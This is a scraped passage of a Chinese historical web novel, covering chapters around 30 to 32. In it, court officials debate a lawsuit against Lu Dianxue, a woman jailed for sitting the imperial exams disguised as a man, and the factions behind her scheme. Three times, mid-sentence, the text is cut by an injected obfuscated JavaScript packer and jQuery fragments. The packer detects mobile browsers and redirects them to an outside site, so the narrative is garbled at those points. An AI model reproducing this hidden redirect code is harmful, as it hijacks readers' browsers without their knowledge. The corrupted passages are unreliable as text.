只是昨日宋徽猷连夜进宫送来的一封信打乱了他的阵脚。
而此时,这封信早已被大理寺卿宋骥朗声读完,朝廷百官正大眼瞪小眼地对着那几行字发愣。
其实这是一封诉状。
它本不应该送至朝堂上,供百官阅览的。
只是这封诉状着实太过特殊了。
是由林家茶楼送至大理寺,控诉小厮卢点雪违反长工契约,欠钱跑路,要求其赔偿十倍违约金的诉状。
其言辞之辛辣有力,连魏与归这位老手都忍不住频频侧目。
可当事人昨晚已被锦衣卫押至诏狱,尚未定罪,就算林家茶楼找上大理寺讨个公道,那也不能放人出来盘问。
更何况大理寺素来也不受理“申诉冤滞”这一类的上访。且没有通政使司的审核,大理寺也不会受理状子。
自昨日收到这份诉状,大理寺不想节外生枝,准备依惯例把事拖一拖,便强压着林家茶楼的人去走京诉流程,等到皇上和朝中阁老们定了卢点雪的罪再说。
但怪就怪在林家茶楼居然有通政使司的盖章。
还一直让讼师肆意喧哗,嚷嚷着人证物证皆在,让大理寺赶紧把卢点雪找出来赔钱。
此番动静惊动了尚未放衙归家的大理寺少卿。
正逢其刚收到琼林宴上宋骥传来的惊天消息,震惊之余他不敢怠慢,连忙把这消息又传至寺卿。
大理寺少卿有苦不能言。
他既要依上司的意思保住卢点雪,又怕说出卢点雪露不了面的事实彻底激怒这群人。
是以他暂时绕过繁琐的司法流程,先去找了徽州会馆的徽商们询问解决办法,尝试大事化小,小事化了。
然而那群徽商却是见利忘义的。
初问时,徽商们都诚惶诚恐,焦心询问着卢老爷是犯了何事,他们可以拿钱帮忙解决。
然未想一提到生意事儿,这些徽商就通通换了副嘴脸,义愤填膺地指责卢状元不守诺,是应当把人找出来好好盘问。
这下大理寺是彻底没了辙。
宋骥干脆就把这份诉状上呈给朝廷,交由百官判决。
别说,傅谊刚看到的时候,简直傻了眼。
他知道林凡安是个大奸商,在金陵的晚晴楼里用饭就连酸梅汁续杯都要加钱,没想到对待手下人时更是苛刻。
傅谊不是没查过林凡安的底细。
在金陵时,他就千方百计地想从云舒和云卷口中打听消息。
可惜那两人嘴巴一个比一个牢,天天跟他打马虎眼儿,整得他只能另作打算,即位后才有空让宋徽猷帮他查查大理寺的卷宗。
傅谊就不信,他林凡安在江南做了这么久的生意,岂不会真的安安分分清清白白,和同行没起过一点纠纷?
然而大理寺内关于林凡安的案卷聊胜于无,统共就几张纸。
林凡安,扬州泰兴县人,世以盐商为业。
自开中法实施后,林家祖辈历关陇、度皋兰,往来张掖、酒泉、姑臧之境,于淮、浙、苏、湖间卖盐数年,牟大利,资财渐丰。【1】
但到了他父亲这一代,正因开中支给而亏损穷困,故而林凡安舍盐利而汲茶利,治业滋久,拓产殖家。
若傅谊没有记错,林家茶楼的说书先生曾有次提及过,江南的林老板还有个不知所踪的孪生兄弟。
也不知是真是假,反正傅谊当时就记在了心上,还特意让宋徽猷去查了一通,却没查出什么有用的。
案卷上只说林凡安确实是有个孪生兄弟,只不过在多年前就已逝去,里甲中也没了其户籍。
傅谊自是很不满意这个结果。
他前脚刚下旨将卢点雪打入诏狱,后脚林家茶楼就登门闹事,若说朝中无人给他们通风报信,谁信?
但同时傅谊也很奇怪,林家茶楼为何会在此时火上浇油,还急吼吼地赶着时辰把卢点雪的劣迹送至大理寺?
就仿佛是生怕卢点雪的事闹得不够大一般。
傅谊翻来覆去地思索了一宿,也没想明白此举的用意。
林家茶楼既已知晓点雪此时人在诏狱,罪还未定,根本就不可能把人放出来问个明白,为何还要煞有其事地向大理寺伸冤?
沈靳炳回宫复命时可是特意提到过,他早已命徽商会管里的徽商前去给林家茶楼打声招呼,说卢点雪要去赴琼林宴。
怎么到了林家茶楼人的嘴里,就变成了违反长工契约,欠钱跑路?
傅谊甚是怀疑,林凡安在这个局中有没有推波助澜。
究竟是一无所知,还是早有预谋?
他不知道林凡安是否还在江南。
如果不在,那么喊讼师写诉状的主意就是茶楼里掌事的人出的,林凡安本人不一定知情。
毕竟将卢点雪打入诏狱的主意是是他临时想出来的,满朝文武都吃了一惊。林凡安不过一介商人,哪里会料得到这个?
再者,卢点雪从入宫至被捕也没过几个时辰,京里的消息总不会已经传至江南了吧?
若是林凡安此时人已经在京城的话,他却没听到半点风声儿,这可是要让锦衣卫好好查查了。
若真是此事皆由林凡安策划,那他与卢点雪的关系怕是不一般。
可是这也很难说得通。
二人既然关系匪浅,那林凡安为何不竭力去保卢点雪,反倒趁火打劫,难不成真的就是为了讹人一大笔钱?
傅谊想破了脑袋,也没想明白这其中的深意。
其实,对于卢点雪此人,他是有点印象的。
当年云离刚辞了太傅一职后,仍对傅谊不太放心,时常给陶王妃写信,让她好好督促自己功课。
其中偶尔也会提到金陵的一些趣事,比如他的好友李卓吾又跑哪去讲学了,何时又办了个女子学堂,还收了女弟子,人很有上进心。
回乡后的云离对那个女学生的身世唏嘘不已,心中很是感慨。
同样是差不多的年纪,别人还在苦苦求学,京中的某人却还在不思进取,撩鸡逗狗!
随后回头就给陶王妃书信一份,让她好好盯着傅谊的学业,还特意叮嘱不要将此事告知太子,以防太子心软迁就。
傅谊自然肯定不会忘记那个天天被娘挂在嘴边,让他以之为榜样的卢姓女子。
然而很可惜,李先生的女子学堂没开多久就被贼人给烧了。
那学堂里的布设有不少还是娘悄悄出资捐赠的,傅谊也很是惋惜。
不过,琼林宴上沸反盈天,一波未平一波又起,傅谊压根就没想起过此事。
反倒是宴后娘突然急急唤他去慈宁宫商量此事,他方才想起来的。
所以说,卢点雪跟离相先生是有些渊源的。
但随即又有一个困惑浮上傅谊的心头。
既然先生都助卢点雪入了李执门下,那么卢点雪上京赶考,先生没道理不会帮衬着些啊。
除非先生压根就不知道她要入京赶考。
卢点雪自爆身份时,傅谊震惊之余,也趁机扫了一眼座中所有人的神情。
以萧首辅为首的崇正党那是相当震惊。
离相先生门下的那几个学生就更不用说了,嘴巴一个比一个张得大,显然也丝毫不知情。
也是,离相先生及其门生要是知道卢点雪有此作死的打算,肯定会把人拦在金陵,直接不让她上京。
还有,傅谊也很纳闷卢点雪怎么会想着去林家茶楼里做长工。
依正常人的思路,到了一个人生地不熟的地方,通常都会找个同乡作为依靠。
她卢点雪倒是逆其道而行,不去徽商会馆找她的老乡借些银子凑活凑活,偏偏要去林家茶楼当个跑腿的小厮?
她跟林凡安和云降心之间到底是什么关系?事情怎么越理越乱?
傅谊脑袋都快想炸了。
不管了,林凡安不愿保人,他来保!
是以朝会上,傅谊先发制人:
“这份林家茶楼控诉卢状元的诉状,众卿以为如何?”
他话音刚落,朝廷百官的目光都落在吏部尚书,魏与归的身上。
专业的事还得交由专业人士来才行,他们这些只读过圣贤书的两榜进士,从未见过如此辛辣有力蛮不讲理的文章,实在是不宜评点。
在众人期盼的注视下,魏与归不负众望地上前迈了一步,话却是对着大理寺卿宋骥问的。
“敢问宋寺卿,林家茶楼请的讼师是何方人士?”
“听口音,大抵是徽州的?”
宋骥的神色有些变化
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505107|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
莫测。
他瞧了瞧恍若无事的魏与归,还有一旁看热闹的同僚,话语在喉咙里转了半天,最终还是艰难地吞吐道。
“此话当真?宋寺卿没听错吧?”
“当真如此。”
是真的是不能再真了。
这种规制的诉状,这种行文措辞,不是徽州人写的,还能是哪里人写的!
大理寺内现存的诉状大半都是这类,看得他都快麻木了,这岂不是一眼就能看出来的?
而且也不知木架上,有没有出自眼前这位的。
宋骥心中忍不住腹诽道,面上并未表露出来。
闻言,魏与归露出个“果然如此”的神情,随即转身向傅谊回答道:
“回陛下,徽州民风如此,不必见怪。欧阳文忠公尝治七州,曰州大者繁广,小者俗恶而奸,皆世指为难治者。其尤甚曰歙州,民习律令,性喜讼。家家自为簿书,凡闻人之阴私毫发、坐起语言,日时皆记之,有讼则取以证。其俗难以力服,而易以理胜。”【2】
“哦,那魏阁老的意思是,讼事在徽州屡见不鲜,那么这封对罪人卢氏的诉状就可以置之不理?”
河南道掌道御史梁纲挑了挑眉,嗤笑一声。
“片语不合,一刻颜变,小则斗殴,大则告状不休,实则大多就是些鸡毛蒜皮的小事罢了。”
魏与归颔首,面对梁纲的嘲讽,不置可否。
然而梁纲不想就这么善罢甘休,仍旧咄咄逼人。
“说来魏阁老与那罪人都出自徽州,莫不是想包庇罪人?林家茶楼人证物证皆在,还有什么可解释的?!”
“呵,你我还同住京城,同为天子效力,莫不成也要与我那般惺惺相惜,同心同德?还是心中不服,也想让我给你包庇些什么罪?”
魏与归上下嘴皮子一搭,迅速回击道,可谓是半分亏儿都不愿吃。
“你——!”
梁纲气急败坏,本还想再说些什么,却被旁边人扯了扯衣袖止住了。
朝中早有条约定俗成的规矩,那就是宁愿招惹小阁老,也不要招惹魏尚书。
毕竟吵也吵不过,打也打不过,何苦呢。
是以在萧藩幸灾乐祸的目光下,梁纲只能悻悻闭嘴。
萧藩当然开心。
没想到魏与归这两边都不沾的鬼脾气竟然愿意帮他们的人说话,而且还把逆阉头子怼得无话可说。
昨日他和父亲紧急商量了下,决心还是保卢点雪。
好歹也是崇正书院出来的学生,朝堂之上,能争一人是一人。
更何况皇上也想保她,不如顺遂皇上的心意,顺手推舟卖卢点雪一个人情。日后事成,再来让她报恩做事也不愁啊。
反倒是魏与归对卢点雪的拥护,倒是令萧藩始料未及。
虽说二人同为徽州人士,但仅凭这点,他觉得不足以让魏与归对卢点雪伸以援手。
而且昨晚琼林宴上,他也没见魏与归对她有多欣赏。然而在听完那份诉状后,魏与归的态度就截然不同了。
莫非问题是出在那份诉状上面?
如萧藩所料,接下来魏与归慢悠悠地开了口。
“陛下,臣以为林家茶楼的这份诉状,并不足以全然相信。”
“诸位不觉得奇怪吗?卢点雪正是因没钱才去做了长工,结果人进了诏狱还不足半日,林家茶楼就急着上大理寺报案。明知对方没钱,还要如此紧紧相逼讨赔偿金,这不是讹钱是什么?”
“魏阁老空口白话的,请拿出证据。纵算林凡安此商利欲熏心,可事实如此,容不得辩驳。”
“啧,那是你们见识少,没见过此类纷争。这世间可不少哄骗下套,置人以罪的官司啊。”
“何以见得?”
“……”
出奇的是,被问及此话后,魏与归难得短暂地沉默了一会儿。
就在梁纲以为他是理亏,正欲迫不及待地乘胜追击时,魏与归的脸色却奇异的不自然起来。
他顿了顿,语气却是前所未有的低沉。
“因为林家茶楼那份诉状的词讼,是仿自我曾写过的一篇,一不小心就在老家流传甚广了。”
“其语句,有不少还是原封不动从我那篇抄来的。如若我没记错,这篇原稿大理寺内应有留存,宋寺卿不妨在大理寺内翻一翻,说不定还能翻得到。”
30. 第 30 章
“?”
不光是傅谊呆住了,满朝文武皆是一片鸦雀无声。
宋骥的心中更是一阵无语。
眼前这位原来是祖师爷,失敬失敬。
怪不得徽州那些讼师们个个牙尖嘴利的,跟魏尚书简直是如出一辙。
不过朝中纷争,魏与归素来是作壁上观,少见其明确过态度。
今日这一封诉状,他却言之凿凿、信誓旦旦,看起来相当有把握,可见确实是觉得林家茶楼小题大做,有意给卢状元下套。
宋骥忍不住刨根问底一下:“敢问魏尚书,你当年是为何事写的诉状?”
这话问点子上了,魏与归踌躇了一番,若有所思道:
“是一介争夺土地的官司。本也不是什么特别大的事儿,只是其中有一方心中不甘,使了些下作手段,地方官府又推诿卸责,这才一路从县里闹到京中。”
他这么一说,通政司、督察院和刑部都有了印象。
这三部的官员无不对魏与归肃然起敬起来。
那则土地案,他们的记忆不可谓是不深刻。
不是因为那件案子有多骇人,而是其上诉流程尤其繁琐。
大琝朝廷有规定,官司只能一级一级地打。
普通百姓如果起了纠纷,先由乡间里老进行调节,不成则去州里打官司。
州县若是无法解决,可再上诉至府里;府里若是仍无法解决,可再上诉至省里的按察使司,总之此间次序不能乱。
如若有人胆敢越级上诉,无论是否冤枉,需得先笞五十。【1】
不过凡事总有例外。
当时的苦主在歙县吃了官吏的亏,又不愿惊动徽州府,于是就去找了定期巡视南直隶地区的巡按御史——应天巡按。
巡按是中央下派官员,直接找他不算越诉。
且巡按身份特殊,独立于地方,一定程度上而言可以不受地方的干扰。
于是彼时还是讼师的魏与归,就写下了那篇在徽州鼎鼎有名的诉状,送至巡按察院。
因魏与归在诉状里的巧思,那则诉状并没有依《大琝会典》里规定的那般将案件交由徽州府,反倒将其转至徽州府境外,由宁国府审理。
但另一方也不是吃素的。
他们不服判决,见苦主走的是巡按衙门,便走了巡抚都院,把都院察院这两院补齐,声势浩大无比。
于是这案子就落到了徽州府头上。
徽州府的判决刚出,争夺土地的那方仍心有不甘,便陷害苦主贿赂排年里长,势必要翻案。
既然要翻案,那么案子就不能留在徽州,故而这案子又被一脚踢到池州府去审理。
一来二去,兜兜转转的,两院也烦了,干脆让双方各打五十大板,两不相帮。
这下苦主犯了怵,急忙找一直忙活着的魏与归参谋参谋。
两院合发了终审判决,地方上找不到比两院更高的司法机构,这可如何是好?
魏与归思忖片刻,给了一个及其大胆的提议——上访京诉。
好在徽州府有建讼的传统,徽州百姓普遍也好习律令。
魏与归也不例外,很快便在《大琝律》中查到这么一条:各处军民奏诉冤枉事情,若曾经巡按御史布按二司官问理……令家人抱赍(jī)奏告者,免其问罪,给引照回。
但是这条规定有个使用条件:
军役户婚田土等项干己事情,曾经上司断结不明,或亲身及令家人老幼妇女抱赍奏告者,各问罪,给引照回,奏词转行原籍官司,候人到提问。
简而言之,只是涉及大逆或人命相干才可使用方才那条;如若上访是为了田产婚姻户籍之类的,依旧得打回原籍,总之无论如何都得牺牲一人。
魏与归也据实相告苦主。
苦主一家经过商量,决定派侄子去京城。
正好来年魏与归要进京赶考,于是就和苦主的侄子精心准备另一份状书,事无巨细地将前因后果通通写了下来。
经过魏与归这位高人的指点,苦主侄子的京诉之路畅通无阻。
既没有拦御驾,也没去城门口喊冤,直接找准了唯一一条正确的门路——通政司。
通政使接过案子,把侄子一捆一扔丢进牢里,随后上奏天子。
万幸那几日正逢皇上生辰,靖安帝心情甚好,没多久就将京诉交由督察院处理。
有司得了旨意,案子处理得飞快,从督察院转呈至刑部,再送到大理寺堪合,很快就拿出了解决办法。
所以自苦主侄子被顺天府施完杖刑,拿着路引回原籍候审听理后,魏与归的名号自此在徽州无人不知。
与此同时,魏与归在京城也是名声大噪起来。
不光是因为打赢了这场历时六年的官司,还因其已高中进士,入了翰林院当庶吉士,再想喊他帮忙写诉状就难喽。
偶尔也会有人感慨,魏尚书最终竟是在吏部任职,不去刑部或是大理寺委实可惜。
亦有人猜测,或许就是因从前魏尚书官司打得太多太累,所以如今不愿掺和党争,自始自终独来独往。
所以在这偌大的朝廷中,没有人比魏与归更清楚上诉的流程。
宋骥复述完林家茶楼整件事的来龙去脉时,魏与归就已发现其中的关键之处。
当初他帮那家上京诉讼,光是上下打点、左右逢源,等到通政司同意接受诉状时,就花了差不多大半年的功夫。
而林凡安一个茶商,竟然能在如此短的时间内拿到通政司的章印,而且几乎是分毫不差地在卢点雪下狱后就递来了讼状,找的又还是几乎与之毫不相关的大理寺。
众所周知,大理寺卿宋骥之子宋徽猷与皇上相交好,同时他也是一个在大理寺内任职的评事。
林凡安知道这点不奇怪,毕竟在京中能把生意做得这般大的也不是一般人,肯定有自己的门路,想打听到卢点雪入狱也不是什么难事。
但是通政司的盖章,林家茶楼是如何仅用一个晚上,不,甚至是几个时辰就弄到的?
通政司,掌受内外章疏敷奏封驳之事,凡四方陈情建言、申诉冤滞、或告不法等事,于底簿内誊写诉告缘由,赍状已闻。【2】
常人一般只知通政司的前一个职责,却甚少知道后半部分。
魏与归知道这点,是因为他在去金陵考乡试赶考时,结识了崇正书院的云离相。
彼时云离相听闻自己在为同乡打官司时,透露过一些消息。
云离相说他有个师兄眼下正在通政司任职,不由感叹道世人只知通政司收受、检查内外奏章,却不知还有个掌受申诉文书的作用。
而魏与归后来之所以能顺利京诉,云离相的点拨必不可少。
魏与归不动声色地瞥了眼内阁首辅萧锵。
没想到萧首辅此时也正打量着他,似笑非笑。
魏与归若无其事地垂下眼帘。
此事他知,萧首辅知,云离相知即可。
既然都想保卢点雪,那也没必要戳破这层窗户纸。
至于萧锵如何遮掩林家茶楼能弄到通政司盖章的事,他懒得理会。
看萧藩那气定神闲的神情,估计是早就
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505108|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处理妥当了。
他也无意去掺和崇正党和赵除佞的明争暗斗,只是现如今内阁中萧锵不可倒,赵除佞需有人制衡着,凭这点他就不会坐视不理。
再者,他不是不知道李卓吾和云离相的交情。
李卓吾死后,八成就把卢点雪托孤给了云离相。而卢点雪在琼林宴上又说自己出自崇正书院,肯定是云离相帮她安排的。
不过以云离相护短的脾性,就算对朝局再怎么担忧,也断然不会让故人门生身入险局。
那人至今还在报恩寺悠哉游哉地吃斋念佛,没有半点反应儿,也没给自己写信提前知会一声,想来也不曾知晓卢点雪会有如此惊天之举。
是他太低估这女娃了。
此人才华出众、胆大心细,年纪轻轻便有如此胆识和谋略,不惜琼林宴上自爆身份,女扮男装为恩师沉冤昭雪。
如今又和林凡安合谋搞了这么一出,虽不知是何用意,但确实是个可造之才。
棋行险招,可若一旦成了,亦可反败为胜。
他倒是想看看李卓吾这位女弟子还能否有几番大作为,是以不介意助她一臂之力。
故而有一点方才他未曾言明。
那封讼状虽有大半是摘自他的文章,但剩下的也有不少完全是由讼师自己写的。
一些细微之处旁人看不出差别,都以为那讼师是借鉴自他的,但魏与归本人却是门儿清。
措辞没他那么话锋犀利、咄咄逼人,议论却更为磅礴大气,有排山倒海、吞天沃日之势。
这语句,总让他无端地想起卢点雪的殿试制策,还有昨晚她在琼林宴上论辩时的情形。
不卑不吭、不骄不躁,自始自终都是一副从容不迫的模样。
看似被百官步步紧逼,实则游刃有余,其势如山断云连,此起彼落,悄无声息地化解了所有的非难。
就连被锦衣卫押送进诏狱时,也未曾露出一丝狼狈与失态。
他倒是很好奇,这卢点雪究竟打得什么算盘?
如黄山云海一般似有若无,让人瞧不真切。
不过,就算魏与归察觉到此诉状可能就是由卢点雪所写,他也不打算说出来。
不然他这徽州第一讼师的名声岂不是浪得虚名?
致仕后怕是得被乡亲们嘲笑半天,自己写了那么多年的诉状,居然比不上一个二十岁的女娃娃?
且看看她下一步想做些什么。
魏与归从头到尾想清了其间所有的厉害关系,方才缓缓继续道:
“当初这则土地案,对方用的就是诸如此类的办法给人下了套,哄骗苦主亲自签下条约,宋寺卿可有问过当事人是怎么一回事儿?”
“林凡安不在京中,卢点雪此时人又在诏狱,怕是问不起来——”
“问得起来,宋寺卿,不要这么着急下定论。”
一道声音突兀地打断了宋骥和魏与归的对话。
意识到是何人在讲话,宋骥顿时脸色一变。
“沈指挥,此话怎讲?”
“就在宋寺卿读完那封诉状,陛下便示意我去诏狱问问卢状元了。”
似是没看见宋骥难堪的脸色,沈靳自顾自地说了下去,
“卢点雪她招了。她之所以会签下林家茶楼的长工契约,是因为林家茶楼给的钱最多,短期内足以支付欠东家五十两银子的房租。”
“家道寒微,诸亲凋敝。其兄十年前命丧山洪,其母因此疯癫。数年前其父又失足落下黄山,其母不堪其苦于家中自裁,自此家破人亡,独她一人在世,唯有靠科考出人头地。”
31. 第 31 章
沈靳炳话音刚落,周遭顿时多了不少叹息声。
就连傅谊也怔了怔神。
他也未曾想过,卢点雪的身世竟是这般命途多舛。
难怪赵除佞在说出“无父无君,弃国弃家”那句话后,巧言善辩的她沉默了那么久。
傅谊心中不免愧疚起来,更是下定决心以后要重用此人。
然而有的人却不以为意。
梁纲冷嗤一声,嘲讽道:“都二十岁了还不嫁人,怕不是没人要吧?也是,就凭她这家境,能去大户人家里当个丫头就算不错了。”
“咦,那怎么没见梁御史在年至弱冠的时候连中三元?若我没记错,梁御史当时可是足足考了三次才中的进士啊。”
魏与归故作惊讶状,不经意间又把梁纲气了个半死不活。
“天子脚下,她都敢女扮男装欺瞒皇上,眼中还有没有王法!可见是在金陵念书时就没学好,尽习得些龌龊手段。”
“梁御史这话就不太对了,”萧藩也出了面,据理力争道,“江南服妖之风盛行,此乃不争的事实。纵算朝廷皆有定制,民间尚还僭越无涯。女扮男装又如何?遍身女衣者,尽是读书人!”
“如此骇人听闻,金陵六部就不管管?”
“嗯嗯嗯,梁御史所言极是,等你去日后金陵养老,或者被贬过去了再管也不迟啊。”
“你——!”
就在梁纲与几人斗嘴之时,唯有宋骥脸色煞白,急切问道:
“卢点雪是怎么招的?北镇抚司可有用刑——”
“宋寺卿,陛下还未治她的罪,何来用刑这一说?”
沈金炳略带深意地瞥了一眼宋骥,止住宋骥接下来的话,而后目光定定望向傅谊,等待着皇上发话。
傅谊见状,满意地点了点头,目光又转回到朝中百官的身上,唏嘘道,
“此女身世如此坎坷,若是我朕再治她个欺君之罪,岂不是寒了天下人的心?”
“陛下万万不可作如是想。”
又是梁纲率先跳出来反对。
不过这一次,不仅有魏与归,还有昆将军和别的武将文官站出来为卢点雪说话。
其中不少还是当初在琼林宴上质疑过她,并与之进行辩论的人。
“诸位可别忘了,那罪女卢氏是谁的门生。”
梁纲意味深长地道出这么一句话。
看似轻飘飘的,实则却挑明了最关键的一点。
魏与归不免神色一凛。
梁纲这话没说错。
卢点雪女扮男装的事在陛下眼里可大可小,可她老师李卓吾的罪名早已是板上钉钉的。
先皇亲口宣判的“敢倡乱道,惑世诬名”之罪,还下令厂卫南下金陵去抓的人。光凭就这一点,身为李卓吾学生的卢点雪就难逃其咎。
这卢点雪聪明归聪明,却也极其执拗,口口声声地坚持她先生无错。
就算当今陛下能容得了她,赵除佞也不会放过她。
魏与归思忖半刻,认为此时的当务之急是让卢点雪减轻罪责,暂且少和李卓吾攀上过多的关系。
他承认李卓吾对卢点雪有再造之恩,然而李卓吾毕竟早已过世,卢点雪没必要再多担上个她师傅的罪。
此举虽有悖师道,但若要真为李卓吾洗清冤名,其路漫漫谈何容易?
还是先保好眼前人再说。
他正欲开口,不料有人却先他一步,义愤填膺地跳了出来。
“你可知李卓吾为《焚书》自序是如何写的!”
“我何须在意一个疯子的狷狂之词?先帝早已降旨让南北两京及各省,将李执刊行的诸书及未刊手稿尽行烧毁,毋令贻乱于后世。”【1】
梁纲对此很是不屑,嗤之以鼻,轻蔑一笑。
而那位站出来与梁纲对峙的官员,正是从前与李卓吾相交好的袁主事。
他浑然不顾梁纲在说什么,慷慨而言道:
“温陵于书中写道,我之言颇切近世学者膏盲,既中其痼疾,则必欲杀我矣,故欲焚之,言当焚而弃之,不可留也。李卓吾他,是早就料好自己的结局啊!”【2】
“陛下,温陵不死于人,死于口;不死于法,死于笔!”【3】
此话一出口,又有一人站出来,含泪泣涕附声道:
“天乎!先生岂妖人哉?有官弃官,有家弃家,有发弃发,其后一著书老学究,其前一廉二千石也。”【4】
“缇骑奉旨至金陵。时卓吾抱病为《究正易因》定稿,书稿既成,病情加剧。知缇骑已至,力疾起床,大声喝道:是为我也,为我取门板来!须臾躺至门板,疾呼:速行,我罪人也,不宜留。”
“我欲与之随行,公劝阻道,逐臣不入城,制也,且君有老父在。”
“我即答曰,朝廷以先生为妖人,我是藏妖者,死则俱死,不能让先生前往而自己独留。”【5】
“如今数年已过,臣还是这句话。陛下若是要处置卢点雪,也请一并处置臣吧。我是藏妖者,死则俱死,不能独留!”
语毕,他除下官帽,蒲伏在地,愤然而哮。
梁纲脸上的笑容消失了。
他记得此人。
这是为李卓吾收尸的马御史。
李卓吾死后,朝中哀悼此人的可不止这一个。
傅谊亦是想到了这点。
他本就钦佩李卓吾,如今朝中又有这么多人为李卓吾发声,心中更是偏向了卢点雪。
纵算梁纲与赵除佞之流如何据理力争,甚至还大放厥词道会试场中有人帮她舞弊,也无多少人理会,便渐落了下乘。
最终,在朝会结束之际,对卢点雪一事也算吵出了些眉目。
虽然李卓吾的罪名依旧无法平反,但经朝中各员的努力,已经隐隐有了松动的迹象。
乡试和会试场中的搜检官和监临官都被罚了俸,而卢点雪毕竟已经被押解至诏狱,不如就等京察过后再看看如何处置。
退朝时,萧锵走在最后。
他年纪大了,腿脚有些不便,只能由萧藩和季无忧扶着慢慢地晃回去。
萧藩偷瞄了下父亲的神情,难得适时地选择闭嘴。
一路上,季无忧也一直没有出声。
今日朝会对于卢点雪的议论,结局同他们预想过的如出一辙。
虽说还要委屈卢点雪在诏狱里住一阵子,但他们的目的也算达到了。
还好林凡安机灵,见形势不对,早早地就让手下人备了礼向阁老求助。
不过他和卢点雪整的这一出,季无忧和萧藩却都始料未及。
初时他们还很错愕,认为此举太过冒险,没想到他倒是把朝中各个人的心理都给摸透了。
这林凡安不愧是生意人,敢赌敢赔,最懂得如何拿捏人心。
料谁能想到,那徽州讼师控诉卢点雪的诉状,竟就是卢点雪本人所写的?
通政司是自己人,不会泄露出给林家茶楼的诉状盖章的事。
只要场中唯一能看出不对劲之处的魏与归不开口,就有胜算。
事实证明,他们赌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505109|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赢了。
今日早朝,魏与归明显是看了出来问题所在,但也只是瞥了一眼阁老,随后恍若无事般地为卢点雪辩驳起来。
不管魏与归是出于什么立场,总之他确实是帮了他们一把。
兴许是看在和卢点雪同为徽州人的份上,兴许是不想让赵除佞太过得意,亦或是看在李卓吾的面子上,不过这又有谁知道呢。
反正季无忧和萧藩是不在乎的,道不同不相为谋,没必要把那人硬拉过来在同一阵营。
季无忧反倒是相当在意林凡安承诺的那件事。
此人平日就相当会来事儿,这次更是直接从金陵寄书信,说只要阁老愿意对卢点雪施以援手雪中送炭,他就能让卢点雪从此为阁老所用,锦上添花。
账都让这人一笔笔给算明白了,他们还有什么理由拒绝呢?
所以阁老就发话了,要保卢点雪。
更何况,卢点雪也算和他的师弟云离相之间有着千丝万缕的关系。
上次先帝的斋礁,折了一个云离相的弟子齐涵虚进去,阁老心中过意不去,这次就打算好好提携下这位卢点雪。
这卢点雪是男是女无所谓,重要的是对他们有用就行。
当这位罪臣之生能够避人耳目女扮男装,公然站在琼林宴上与朝中大员谈笑风生时,萧锵就知道此人绝非池中物。
他们又没赵初佞那么小心眼儿,一直死死揪着女人不得参与科考的惯例来说事。
那个阉人甚至还公然叫嚣着卢点雪科场舞弊,简直是不把他们这些在琼林宴上考校过卢点雪的验卷官们放在眼里。
可笑,纵算卢点雪有千般的不是,他们这些苦苦钻研了那么多年经书的大儒们,又岂是一个连内书堂都没上过几天的阉人所能质疑的!
再者,连陛下都快把要保卢点雪的意思摆到明面上来讲了,这赵除佞和梁纲怎地还不死心,依旧要跟他们对着干?
这一点让阁老十分不愉。
而且奇怪的是,就在刚刚,陛下同意了赵除佞要拍卖在皇宫中骑马特权的请求。
季无忧有些看不懂这位小皇帝了。
分明前一刻还一致要保卢点雪,然下一刻他就任由着赵除佞胡来。
这位小皇帝人是有些任性,但好歹也是知进退懂道理的,怎得方才就犯了糊涂?
难不成是想两边各给个甜头,平衡一下势力?
季无忧知道此时辽东边境战事吃紧,朝中又无人想插手这一麻烦事儿。
那赵除佞还不信邪,偏要去啃这块硬骨头讨皇上欢心,一心想组建个关宁铁骑,以此解决朝中无重甲铁骑的窘境。
但季无忧不知拍卖皇宫中骑马的特权对辽东有何益处。
赵除佞还不要钱,只要马,必须得是高头大马,能扛得住士兵和重甲重量的战马。
文官大都不善骑马,能对赵除佞这场拍卖感兴趣的,除了武官就是想出人头地的太监们。
此举无非就是想让武官和太监们在宫中耀武扬威,真当他们看不出来吗?
所以朝会结束后阁老的脸色才会如此难看。
季无忧和萧藩琢磨着萧锵的脸色,不敢吱声,一路相顾无言。
然而就在马车快到萧府时,萧锵却蓦地开了口。
他和和气气地望着季无忧,缓缓地说出了今日下朝后的第一句话:
“优游啊,既然卢点雪的事姑且也算告一段落,那么你是否也可以跟为师把话敞开了讲,为何要瞒着我偷偷地收了那应天府尹甘清的转荐?”【6】
32. 第 32 章
“是,老师,此事是学生糊涂了,还要劳得老师为我辛苦遮掩。”
季无忧一脸愧色,低着头大致叙述了下经过。
他与应天府尹甘清是在原社的社集上结识的。
彼时创办了应社的张天如接手李卓吾的学社,于吴江召开尹山大会,合十七家文社为一,并被众人推举为原社的首领。
